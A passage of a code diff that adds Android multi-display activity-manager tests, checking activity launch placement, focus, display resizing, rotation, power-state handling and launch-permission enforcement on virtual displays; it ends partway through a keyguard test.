+ mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
+ frontStack = mAmWmState.getAmState().getStackById(frontStackId);
+ mAmWmState.assertFocusedActivity("Focus must be on newly launched app",
+ SECOND_PACKAGE_NAME, SECOND_ACTIVITY_NAME);
+ assertEquals("Secondary display must contain 1 task", 1, frontStack.getTasks().size());
+ }
+
+ /**
+ * Test that launching from display owner is allowed even when the the display owner
+ * doesn't have anything on the display.
+ */
+ @Test
+ public void testPermissionLaunchFromOwner() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Create new virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+ mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+ mAmWmState.assertFocusedActivity("Virtual display activity must be focused",
+ VIRTUAL_DISPLAY_ACTIVITY);
+ final int defaultDisplayFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
+ ActivityManagerState.ActivityStack focusedStack
+ = mAmWmState.getAmState().getStackById(defaultDisplayFocusedStackId);
+ assertEquals("Focus must remain on primary display", DEFAULT_DISPLAY_ID,
+ focusedStack.mDisplayId);
+
+ // Launch other activity with different uid on secondary display.
+ final String startCmd = "am start -n " + SECOND_PACKAGE_NAME + "/." + SECOND_ACTIVITY_NAME;
+ final String displayTarget = " --display " + newDisplay.mDisplayId;
+ executeShellCommand(startCmd + displayTarget);
+
+ mAmWmState.waitForValidState(false /* compareTaskAndStackBounds */, SECOND_PACKAGE_NAME,
+ new WaitForValidActivityState.Builder(SECOND_ACTIVITY_NAME).build());
+ mAmWmState.assertFocusedActivity("Focus must be on newly launched app",
+ SECOND_PACKAGE_NAME, SECOND_ACTIVITY_NAME);
+ final int externalFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
+ focusedStack = mAmWmState.getAmState().getStackById(externalFocusedStackId);
+ assertEquals("Focused stack must be on secondary display", newDisplay.mDisplayId,
+ focusedStack.mDisplayId);
+
+ // Check that owner uid can launch its own activity on secondary display.
+ final String broadcastAction = componentName + ".LAUNCH_BROADCAST_ACTION";
+ executeShellCommand("am broadcast -a " + broadcastAction + " -p " + componentName
+ + " --ez launch_activity true --ez new_task true --ez multiple_task true"
+ + " --ei display_id " + newDisplay.mDisplayId);
+
+ mAmWmState.waitForValidState(TEST_ACTIVITY_NAME);
+ mAmWmState.assertFocusedActivity("Focus must be on newly launched app", TEST_ACTIVITY_NAME);
+ assertEquals("Activity launched by owner must be on external display",
+ externalFocusedStackId, mAmWmState.getAmState().getFocusedStackId());
+ }
+
+ /**
+ * Test that launching from app that is not present on external display and doesn't own it to
+ * that external display is not allowed.
+ */
+ @Test
+ public void testPermissionLaunchFromDifferentApp() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Create new virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+ mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+ mAmWmState.assertFocusedActivity("Virtual display activity must be focused",
+ VIRTUAL_DISPLAY_ACTIVITY);
+ final int defaultDisplayFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
+ ActivityManagerState.ActivityStack focusedStack
+ = mAmWmState.getAmState().getStackById(defaultDisplayFocusedStackId);
+ assertEquals("Focus must remain on primary display", DEFAULT_DISPLAY_ID,
+ focusedStack.mDisplayId);
+
+ // Launch activity on new secondary display.
+ launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+ mAmWmState.assertFocusedActivity("Focus must be on secondary display",
+ TEST_ACTIVITY_NAME);
+ final int externalFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
+ focusedStack = mAmWmState.getAmState().getStackById(externalFocusedStackId);
+ assertEquals("Focused stack must be on secondary display", newDisplay.mDisplayId,
+ focusedStack.mDisplayId);
+
+ final String logSeparator = clearLogcat();
+
+ // Launch other activity with different uid and check security exception is triggered.
+ final String broadcastAction = SECOND_PACKAGE_NAME + ".LAUNCH_BROADCAST_ACTION";
+ final String includeStoppedPackagesFlag = " -f 0x00000020";
+ executeShellCommand("am broadcast -a " + broadcastAction + " -p " + SECOND_PACKAGE_NAME
+ + " --ei display_id " + newDisplay.mDisplayId + includeStoppedPackagesFlag);
+
+ assertSecurityException("LaunchBroadcastReceiver", logSeparator);
+
+ mAmWmState.waitForValidState(false /* compareTaskAndStackBounds */, componentName,
+ new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+ mAmWmState.assertFocusedActivity(
+ "Focus must be on first activity", componentName, TEST_ACTIVITY_NAME);
+ assertEquals("Focused stack must be on secondary display's stack",
+ externalFocusedStackId, mAmWmState.getAmState().getFocusedStackId());
+ }
+
+ private void assertSecurityException(String component, String logSeparator) throws Exception {
+ int tries = 0;
+ boolean match = false;
+ final Pattern pattern = Pattern.compile(".*SecurityException launching activity.*");
+ while (tries < 5 && !match) {
+ String[] logs = getDeviceLogsForComponent(component, logSeparator);
+ for (String line : logs) {
+ Matcher m = pattern.matcher(line);
+ if (m.matches()) {
+ match = true;
+ break;
+ }
+ }
+ tries++;
+ try {
+ Thread.sleep(500);
+ } catch (InterruptedException e) {
+ }
+ }
+
+ assertTrue("Expected exception not found", match);
+ }
+
+ /**
+ * Test that only private virtual display can show content with insecure keyguard.
+ */
+ @Test
+ public void testFlagShowWithInsecureKeyguardOnPublicVirtualDisplay() throws Exception {
+ if (!supportsMultiDisplay()) {
+ return;
+ }
+
+ // Try to create new show-with-insecure-keyguard public virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this)
+ .setPublicDisplay(true)
+ .setCanShowWithInsecureKeyguard(true)
+ .setMustBeCreated(false)
+ .build();
+
+ // Check that the display is not created.
+ assertNull(newDisplay);
+ }
+
+ /**
+ * Test that all activities that were on the private display are destroyed on display removal.
+ */
+ // TODO: Flaky, add to presubmit when b/63404575 is fixed.
+ @Test
+ public void testContentDestroyOnDisplayRemoved() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Create new private virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+ mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+
+ // Launch activities on new secondary display.
+ launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+ mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true /* visible */);
+ mAmWmState.assertFocusedActivity("Launched activity must be focused", TEST_ACTIVITY_NAME);
+ launchActivityOnDisplay(RESIZEABLE_ACTIVITY_NAME, newDisplay.mDisplayId);
+ mAmWmState.assertVisibility(RESIZEABLE_ACTIVITY_NAME, true /* visible */);
+ mAmWmState.assertFocusedActivity("Launched activity must be focused",
+ RESIZEABLE_ACTIVITY_NAME);
+
+ // Destroy the display and check if activities are removed from system.
+ final String logSeparator = clearLogcat();
+ destroyVirtualDisplays();
+ final String activityName1
+ = ActivityManagerTestBase.getActivityComponentName(TEST_ACTIVITY_NAME);
+ final String activityName2
+ = ActivityManagerTestBase.getActivityComponentName(RESIZEABLE_ACTIVITY_NAME);
+ final String windowName1
+ = ActivityManagerTestBase.getWindowName(TEST_ACTIVITY_NAME);
+ final String windowName2
+ = ActivityManagerTestBase.getWindowName(RESIZEABLE_ACTIVITY_NAME);
+ mAmWmState.waitForWithAmState(
+ (state) -> !state.containsActivity(activityName1)
+ && !state.containsActivity(activityName2),
+ "Waiting for activity to be removed");
+ mAmWmState.waitForWithWmState(
+ (state) -> !state.containsWindow(windowName1)
+ && !state.containsWindow(windowName2),
+ "Waiting for activity window to be gone");
+
+ // Check AM state.
+ assertFalse("Activity from removed display must be destroyed",
+ mAmWmState.getAmState().containsActivity(activityName1));
+ assertFalse("Activity from removed display must be destroyed",
+ mAmWmState.getAmState().containsActivity(activityName2));
+ // Check WM state.
+ assertFalse("Activity windows from removed display must be destroyed",
+ mAmWmState.getWmState().containsWindow(windowName1));
+ assertFalse("Activity windows from removed display must be destroyed",
+ mAmWmState.getWmState().containsWindow(windowName2));
+ // Check activity logs.
+ assertActivityDestroyed(TEST_ACTIVITY_NAME, logSeparator);
+ assertActivityDestroyed(RESIZEABLE_ACTIVITY_NAME, logSeparator);
+ }
+
+ /**
+ * Test that the update of display metrics updates all its content.
+ */
+ @Presubmit
+ @Test
+ public void testDisplayResize() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Create new virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+ mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+
+ // Launch a resizeable activity on new secondary display.
+ final String initialLogSeparator = clearLogcat();
+ launchActivityOnDisplay(RESIZEABLE_ACTIVITY_NAME, newDisplay.mDisplayId);
+ mAmWmState.assertVisibility(RESIZEABLE_ACTIVITY_NAME, true /* visible */);
+ mAmWmState.assertFocusedActivity("Launched activity must be focused",
+ RESIZEABLE_ACTIVITY_NAME);
+
+ // Grab reported sizes and compute new with slight size change.
+ final ReportedSizes initialSize = getLastReportedSizesForActivity(RESIZEABLE_ACTIVITY_NAME,
+ initialLogSeparator);
+
+ // Resize the docked stack, so that activity with virtual display will also be resized.
+ final String logSeparator = clearLogcat();
+ executeShellCommand(getResizeVirtualDisplayCommand());
+
+ mAmWmState.waitForWithAmState(amState -> {
+ try {
+ return readConfigChangeNumber(RESIZEABLE_ACTIVITY_NAME, logSeparator) == 1
+ && amState.hasActivityState(RESIZEABLE_ACTIVITY_NAME, STATE_RESUMED);
+ } catch (Exception e) {
+ logE("Error waiting for valid state: " + e.getMessage());
+ return false;
+ }
+ }, "Wait for the configuration change to happen and for activity to be resumed.");
+
+ mAmWmState.computeState(false /* compareTaskAndStackBounds */,
+ new WaitForValidActivityState.Builder(RESIZEABLE_ACTIVITY_NAME).build(),
+ new WaitForValidActivityState.Builder(VIRTUAL_DISPLAY_ACTIVITY).build());
+ mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true);
+ mAmWmState.assertVisibility(RESIZEABLE_ACTIVITY_NAME, true);
+
+ // Check if activity in virtual display was resized properly.
+ assertRelaunchOrConfigChanged(RESIZEABLE_ACTIVITY_NAME, 0 /* numRelaunch */,
+ 1 /* numConfigChange */, logSeparator);
+
+ final ReportedSizes updatedSize = getLastReportedSizesForActivity(RESIZEABLE_ACTIVITY_NAME,
+ logSeparator);
+ assertTrue(updatedSize.widthDp <= initialSize.widthDp);
+ assertTrue(updatedSize.heightDp <= initialSize.heightDp);
+ assertTrue(updatedSize.displayWidth == initialSize.displayWidth / 2);
+ assertTrue(updatedSize.displayHeight == initialSize.displayHeight / 2);
+ }
+
+ /** Read the number of configuration changes sent to activity from logs. */
+ private int readConfigChangeNumber(String activityName, String logSeparator) throws Exception {
+ return (new ActivityLifecycleCounts(activityName, logSeparator)).mConfigurationChangedCount;
+ }
+
+ /**
+ * Tests that when an activity is launched with displayId specified and there is an existing
+ * matching task on some other display - that task will moved to the target display.
+ */
+ @Test
+ public void testMoveToDisplayOnLaunch() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Launch activity with unique affinity, so it will the only one in its task.
+ launchActivity(LAUNCHING_ACTIVITY);
+
+ // Create new virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+ mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+ final int defaultDisplayStackId = mAmWmState.getAmState().getFocusedStackId();
+ // Launch something to that display so that a new stack is created. We need this to be able
+ // to compare task numbers in stacks later.
+ launchActivityOnDisplay(RESIZEABLE_ACTIVITY_NAME, newDisplay.mDisplayId);
+ mAmWmState.assertVisibility(RESIZEABLE_ACTIVITY_NAME, true /* visible */);
+
+ final int taskNum = mAmWmState.getAmState().getStackById(defaultDisplayStackId)
+ .getTasks().size();
+ final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+ final int taskNumOnSecondary = mAmWmState.getAmState().getStackById(frontStackId)
+ .getTasks().size();
+
+ // Launch activity on new secondary display.
+ // Using custom command here, because normally we add flags Intent#FLAG_ACTIVITY_NEW_TASK
+ // and Intent#FLAG_ACTIVITY_MULTIPLE_TASK when launching on some specific display. We don't
+ // do it here as we want an existing task to be used.
+ final String launchCommand = "am start -n " + getActivityComponentName(LAUNCHING_ACTIVITY)
+ + " --display " + newDisplay.mDisplayId;
+ executeShellCommand(launchCommand);
+ mAmWmState.waitForActivityState(LAUNCHING_ACTIVITY, STATE_RESUMED);
+
+ // Check that activity is brought to front.
+ mAmWmState.assertFocusedActivity("Existing task must be brought to front",
+ LAUNCHING_ACTIVITY);
+ mAmWmState.assertResumedActivity("Existing task must be resumed", LAUNCHING_ACTIVITY);
+
+ // Check that activity is on the right display.
+ final ActivityManagerState.ActivityStack firstFrontStack =
+ mAmWmState.getAmState().getStackById(frontStackId);
+ assertEquals("Activity must be moved to the secondary display",
+ getActivityComponentName(LAUNCHING_ACTIVITY), firstFrontStack.mResumedActivity);
+ mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
+
+ // Check that task has moved from primary display to secondary.
+ final int taskNumFinal = mAmWmState.getAmState().getStackById(defaultDisplayStackId)
+ .getTasks().size();
+ assertEquals("Task number in default stack must be decremented.", taskNum - 1,
+ taskNumFinal);
+ final int taskNumFinalOnSecondary = mAmWmState.getAmState().getStackById(frontStackId)
+ .getTasks().size();
+ assertEquals("Task number in stack on external display must be incremented.",
+ taskNumOnSecondary + 1, taskNumFinalOnSecondary);
+ }
+
+ /**
+ * Tests that when primary display is rotated secondary displays are not affected.
+ */
+ @Test
+ public void testRotationNotAffectingSecondaryScreen() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Create new virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this)
+ .setResizeDisplay(false)
+ .build();
+ mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+
+ // Launch activity on new secondary display.
+ String logSeparator = clearLogcat();
+ launchActivityOnDisplay(RESIZEABLE_ACTIVITY_NAME, newDisplay.mDisplayId);
+ mAmWmState.assertFocusedActivity("Focus must be on secondary display",
+ RESIZEABLE_ACTIVITY_NAME);
+ final ReportedSizes initialSizes = getLastReportedSizesForActivity(
+ RESIZEABLE_ACTIVITY_NAME, logSeparator);
+ assertNotNull("Test activity must have reported initial sizes on launch", initialSizes);
+
+ // Rotate primary display and check that activity on secondary display is not affected.
+ rotateAndCheckSameSizes(RESIZEABLE_ACTIVITY_NAME);
+
+ // Launch activity to secondary display when primary one is rotated.
+ final int initialRotation = mAmWmState.getWmState().getRotation();
+ setDeviceRotation((initialRotation + 1) % 4);
+
+ logSeparator = clearLogcat();
+ launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+ mAmWmState.waitForActivityState(TEST_ACTIVITY_NAME, STATE_RESUMED);
+ mAmWmState.assertFocusedActivity("Focus must be on secondary display",
+ TEST_ACTIVITY_NAME);
+ final ReportedSizes testActivitySizes = getLastReportedSizesForActivity(
+ TEST_ACTIVITY_NAME, logSeparator);
+ assertEquals("Sizes of secondary display must not change after rotation of primary display",
+ initialSizes, testActivitySizes);
+ }
+
+ private void rotateAndCheckSameSizes(String activityName) throws Exception {
+ for (int rotation = 3; rotation >= 0; --rotation) {
+ final String logSeparator = clearLogcat();
+ setDeviceRotation(rotation);
+ final ReportedSizes rotatedSizes = getLastReportedSizesForActivity(activityName,
+ logSeparator);
+ assertNull("Sizes must not change after rotation", rotatedSizes);
+ }
+ }
+
+ /**
+ * Tests that task affinity does affect what display an activity is launched on but that
+ * matching the task component root does.
+ */
+ @Test
+ public void testTaskMatchAcrossDisplays() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+ launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(LAUNCHING_ACTIVITY).build());
+
+ // Check that activity is on the secondary display.
+ final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+ final ActivityManagerState.ActivityStack firstFrontStack =
+ mAmWmState.getAmState().getStackById(frontStackId);
+ assertEquals("Activity launched on secondary display must be resumed",
+ getActivityComponentName(LAUNCHING_ACTIVITY), firstFrontStack.mResumedActivity);
+ mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
+
+ executeShellCommand("am start -n " + getActivityComponentName(ALT_LAUNCHING_ACTIVITY));
+ mAmWmState.waitForValidState(false /* compareTaskAndStackBounds */, componentName,
+ new WaitForValidActivityState.Builder(ALT_LAUNCHING_ACTIVITY).build());
+
+ // Check that second activity gets launched on the default display despite
+ // the affinity match on the secondary display.
+ final int defaultDisplayFrontStackId = mAmWmState.getAmState().getFrontStackId(
+ DEFAULT_DISPLAY_ID);
+ final ActivityManagerState.ActivityStack defaultDisplayFrontStack =
+ mAmWmState.getAmState().getStackById(defaultDisplayFrontStackId);
+ assertEquals("Activity launched on default display must be resumed",
+ getActivityComponentName(ALT_LAUNCHING_ACTIVITY),
+ defaultDisplayFrontStack.mResumedActivity);
+ mAmWmState.assertFocusedStack("Focus must be on primary display",
+ defaultDisplayFrontStackId);
+
+ executeShellCommand("am start -n " + getActivityComponentName(LAUNCHING_ACTIVITY));
+ mAmWmState.waitForFocusedStack(frontStackId);
+
+ // Check that the third intent is redirected to the first task due to the root
+ // component match on the secondary display.
+ final ActivityManagerState.ActivityStack secondFrontStack
+ = mAmWmState.getAmState().getStackById(frontStackId);
+ assertEquals("Activity launched on secondary display must be resumed",
+ getActivityComponentName(LAUNCHING_ACTIVITY), secondFrontStack.mResumedActivity);
+ mAmWmState.assertFocusedStack("Focus must be on primary display", frontStackId);
+ assertEquals("Focused stack must only contain 1 task",
+ 1, secondFrontStack.getTasks().size());
+ assertEquals("Focused task must only contain 1 activity",
+ 1, secondFrontStack.getTasks().get(0).mActivities.size());
+ }
+
+ /**
+ * Tests that the task affinity search respects the launch display id.
+ */
+ @Test
+ public void testLaunchDisplayAffinityMatch() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+ launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
+
+ // Check that activity is on the secondary display.
+ final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+ final ActivityManagerState.ActivityStack firstFrontStack =
+ mAmWmState.getAmState().getStackById(frontStackId);
+ assertEquals("Activity launched on secondary display must be resumed",
+ getActivityComponentName(LAUNCHING_ACTIVITY), firstFrontStack.mResumedActivity);
+ mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
+
+ // We don't want FLAG_ACTIVITY_MULTIPLE_TASK, so we can't use launchActivityOnDisplay
+ executeShellCommand("am start -n "
+ + getActivityComponentName(ALT_LAUNCHING_ACTIVITY)
+ + " -f 0x10000000" // FLAG_ACTIVITY_NEW_TASK
+ + " --display " + newDisplay.mDisplayId);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(ALT_LAUNCHING_ACTIVITY).build());
+
+ // Check that second activity gets launched into the affinity matching
+ // task on the secondary display
+ final int secondFrontStackId =
+ mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+ final ActivityManagerState.ActivityStack secondFrontStack =
+ mAmWmState.getAmState().getStackById(secondFrontStackId);
+ assertEquals("Activity launched on secondary display must be resumed",
+ getActivityComponentName(ALT_LAUNCHING_ACTIVITY),
+ secondFrontStack.mResumedActivity);
+ mAmWmState.assertFocusedStack("Focus must be on secondary display",
+ secondFrontStackId);
+ assertEquals("Focused stack must only contain 1 task",
+ 1, secondFrontStack.getTasks().size());
+ assertEquals("Focused task must contain 2 activities",
+ 2, secondFrontStack.getTasks().get(0).mActivities.size());
+ }
+
+ /**
+ * Tests than a new task launched by an activity will end up on that activity's display
+ * even if the focused stack is not on that activity's display.
+ */
+ @Test
+ public void testNewTaskSameDisplay() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).setSimulateDisplay(true)
+ .build();
+
+ launchActivityOnDisplay(BROADCAST_RECEIVER_ACTIVITY, newDisplay.mDisplayId);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(BROADCAST_RECEIVER_ACTIVITY).build());
+
+ // Check that the first activity is launched onto the secondary display
+ final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+ final ActivityManagerState.ActivityStack firstFrontStack =
+ mAmWmState.getAmState().getStackById(frontStackId);
+ assertEquals("Activity launched on secondary display must be resumed",
+ getActivityComponentName(BROADCAST_RECEIVER_ACTIVITY),
+ firstFrontStack.mResumedActivity);
+ mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
+
+ executeShellCommand("am start -n " + getActivityComponentName(TEST_ACTIVITY_NAME));
+ mAmWmState.waitForValidState(false /* compareTaskAndStackBounds */, componentName,
+ new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+
+ // Check that the second activity is launched on the default display
+ final int focusedStackId = mAmWmState.getAmState().getFocusedStackId();
+ final ActivityManagerState.ActivityStack focusedStack
+ = mAmWmState.getAmState().getStackById(focusedStackId);
+ assertEquals("Activity launched on default display must be resumed",
+ getActivityComponentName(TEST_ACTIVITY_NAME), focusedStack.mResumedActivity);
+ assertEquals("Focus must be on primary display", DEFAULT_DISPLAY_ID,
+ focusedStack.mDisplayId);
+
+ executeShellCommand("am broadcast -a trigger_broadcast --ez launch_activity true "
+ + "--ez new_task true --es target_activity " + LAUNCHING_ACTIVITY);
+
+ // Check that the third activity ends up in a new task in the same stack as the
+ // first activity
+ mAmWmState.waitForValidState(false /* compareTaskAndStackBounds */, componentName,
+ new WaitForValidActivityState.Builder(LAUNCHING_ACTIVITY).build());
+ mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
+ final ActivityManagerState.ActivityStack secondFrontStack =
+ mAmWmState.getAmState().getStackById(frontStackId);
+ assertEquals("Activity must be launched on secondary display",
+ getActivityComponentName(LAUNCHING_ACTIVITY),
+ secondFrontStack.mResumedActivity);
+ assertEquals("Secondary display must contain 2 tasks",
+ 2, secondFrontStack.getTasks().size());
+ }
+
+ /**
+ * Test that display overrides apply correctly and won't be affected by display changes.
+ * This sets overrides to display size and density, initiates a display changed event by locking
+ * and unlocking the phone and verifies that overrides are kept.
+ */
+ @Presubmit
+ @Test
+ public void testForceDisplayMetrics() throws Exception {
+ launchHomeActivity();
+
+ // Read initial sizes.
+ final ReportedDisplayMetrics originalDisplayMetrics = getDisplayMetrics();
+
+ // Apply new override values that don't match the physical metrics.
+ final int overrideWidth = (int) (originalDisplayMetrics.physicalWidth * 1.5);
+ final int overrideHeight = (int) (originalDisplayMetrics.physicalHeight * 1.5);
+ executeShellCommand(WM_SIZE + " " + overrideWidth + "x" + overrideHeight);
+ final int overrideDensity = (int) (originalDisplayMetrics.physicalDensity * 1.1);
+ executeShellCommand(WM_DENSITY + " " + overrideDensity);
+
+ // Check if overrides applied correctly.
+ ReportedDisplayMetrics displayMetrics = getDisplayMetrics();
+ assertEquals(overrideWidth, displayMetrics.overrideWidth);
+ assertEquals(overrideHeight, displayMetrics.overrideHeight);
+ assertEquals(overrideDensity, displayMetrics.overrideDensity);
+
+ // Lock and unlock device. This will cause a DISPLAY_CHANGED event to be triggered and
+ // might update the metrics.
+ sleepDevice();
+ wakeUpAndUnlockDevice();
+ mAmWmState.waitForHomeActivityVisible();
+
+ // Check if overrides are still applied.
+ displayMetrics = getDisplayMetrics();
+ assertEquals(overrideWidth, displayMetrics.overrideWidth);
+ assertEquals(overrideHeight, displayMetrics.overrideHeight);
+ assertEquals(overrideDensity, displayMetrics.overrideDensity);
+
+ // All overrides will be cleared in tearDown.
+ }
+
+ /**
+ * Tests than an immediate launch after new display creation is handled correctly.
+ */
+ @Test
+ public void testImmediateLaunchOnNewDisplay() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Create new virtual display and immediately launch an activity on it.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this)
+ .setLaunchActivity(TEST_ACTIVITY_NAME).build();
+
+ // Check that activity is launched and placed correctly.
+ mAmWmState.waitForActivityState(TEST_ACTIVITY_NAME, STATE_RESUMED);
+ mAmWmState.assertResumedActivity("Test activity must be launched on a new display",
+ TEST_ACTIVITY_NAME);
+ final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+ final ActivityManagerState.ActivityStack firstFrontStack =
+ mAmWmState.getAmState().getStackById(frontStackId);
+ assertEquals("Activity launched on secondary display must be resumed",
+ getActivityComponentName(TEST_ACTIVITY_NAME), firstFrontStack.mResumedActivity);
+ mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
+ }
+
+ /**
+ * Tests that turning the primary display off does not affect the activity running
+ * on an external secondary display.
+ */
+ @Test
+ public void testExternalDisplayActivityTurnPrimaryOff() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Launch something on the primary display so we know there is a resumed activity there
+ launchActivity(RESIZEABLE_ACTIVITY_NAME);
+ waitAndAssertActivityResumed(RESIZEABLE_ACTIVITY_NAME, DEFAULT_DISPLAY_ID,
+ "Activity launched on primary display must be resumed");
+
+ final DisplayState newDisplay = createExternalVirtualDisplay(
+ true /* showContentWhenLocked */);
+
+ launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+
+ // Check that the activity is launched onto the external display
+ waitAndAssertActivityResumed(TEST_ACTIVITY_NAME, newDisplay.mDisplayId,
+ "Activity launched on external display must be resumed");
+
+ setPrimaryDisplayState(false);
+
+ // Wait for the fullscreen stack to start sleeping, and then make sure the
+ // test activity is still resumed.
+ waitAndAssertActivityStopped(RESIZEABLE_ACTIVITY_NAME,
+ "Activity launched on primary display must be stopped after turning off");
+ waitAndAssertActivityResumed(TEST_ACTIVITY_NAME, newDisplay.mDisplayId,
+ "Activity launched on external display must be resumed");
+ }
+
+ /**
+ * Tests that an activity can be launched on a secondary display while the primary
+ * display is off.
+ */
+ @Test
+ public void testLaunchExternalDisplayActivityWhilePrimaryOff() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Launch something on the primary display so we know there is a resumed activity there
+ launchActivity(RESIZEABLE_ACTIVITY_NAME);
+ waitAndAssertActivityResumed(RESIZEABLE_ACTIVITY_NAME, DEFAULT_DISPLAY_ID,
+ "Activity launched on primary display must be resumed");
+
+ setPrimaryDisplayState(false);
+
+ // Make sure there is no resumed activity when the primary display is off
+ waitAndAssertActivityStopped(RESIZEABLE_ACTIVITY_NAME,
+ "Activity launched on primary display must be stopped after turning off");
+ assertEquals("Unexpected resumed activity",
+ 0, mAmWmState.getAmState().getResumedActivitiesCount());
+
+ final DisplayState newDisplay = createExternalVirtualDisplay(
+ true /* showContentWhenLocked */);
+
+ launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+
+ // Check that the test activity is resumed on the external display
+ waitAndAssertActivityResumed(TEST_ACTIVITY_NAME, newDisplay.mDisplayId,
+ "Activity launched on external display must be resumed");
+ }
+
+ /**
+ * Tests that turning the secondary display off stops activities running on that display.
+ */
+ @Test
+ public void testExternalDisplayToggleState() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ final DisplayState newDisplay = createExternalVirtualDisplay(
+ false /* showContentWhenLocked */);
+
+ launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+
+ // Check that the test activity is resumed on the external display
+ waitAndAssertActivityResumed(TEST_ACTIVITY_NAME, newDisplay.mDisplayId,
+ "Activity launched on external display must be resumed");
+
+ mExternalDisplayHelper.turnDisplayOff();
+
+ // Check that turning off the external display stops the activity
+ waitAndAssertActivityStopped(TEST_ACTIVITY_NAME,
+ "Activity launched on external display must be stopped after turning off");
+
+ mExternalDisplayHelper.turnDisplayOn();
+
+ // Check that turning on the external display resumes the activity
+ waitAndAssertActivityResumed(TEST_ACTIVITY_NAME, newDisplay.mDisplayId,
+ "Activity launched on external display must be resumed");
+ }
+
+ /**
+ * Tests that tapping on the primary display after showing the keyguard resumes the
+ * activity on the primary display.
+ */
+ @Test
+ public void testStackFocusSwitchOnTouchEventAfterKeyguard() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Launch something on the primary display so we know there is a resumed activity there
+ launchActivity(RESIZEABLE_ACTIVITY_NAME);
+ waitAndAssertActivityResumed(RESIZEABLE_ACTIVITY_NAME, DEFAULT_DISPLAY_ID,
+ "Activity launched on primary display must be resumed");
+
+ sleepDevice();
+
+ // Make sure there is no resumed activity when the primary display is off
+ waitAndAssertActivityStopped(RESIZEABLE_ACTIVITY_NAME,
+ "Activity launched on primary display must be stopped after turning off");
+ assertEquals("Unexpected resumed activity",
+ 0, mAmWmState.getAmState().getResumedActivitiesCount());
+
+ final DisplayState newDisplay = createExternalVirtualDisplay(
+ true /* showContentWhenLocked */);
+
+ launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+
+ // Check that the test activity is resumed on the external display
+ waitAndAssertActivityResumed(TEST_ACTIVITY_NAME, newDisplay.mDisplayId,
+ "Activity launched on external display must be resumed");
+
+ // Unlock the device and tap on the middle of the primary display
+ wakeUpDevice();
+ executeShellCommand("wm dismiss-keyguard");
+ final ReportedDisplayMetrics displayMetrics = getDisplayMetrics();
+ final int width = displayMetrics.getWidth();
+ final int height = displayMetrics.getHeight();
+ executeShellCommand("input tap " + (width / 2) + " " + (height / 2));
+
+ // Check that the activity on the primary display is resumed
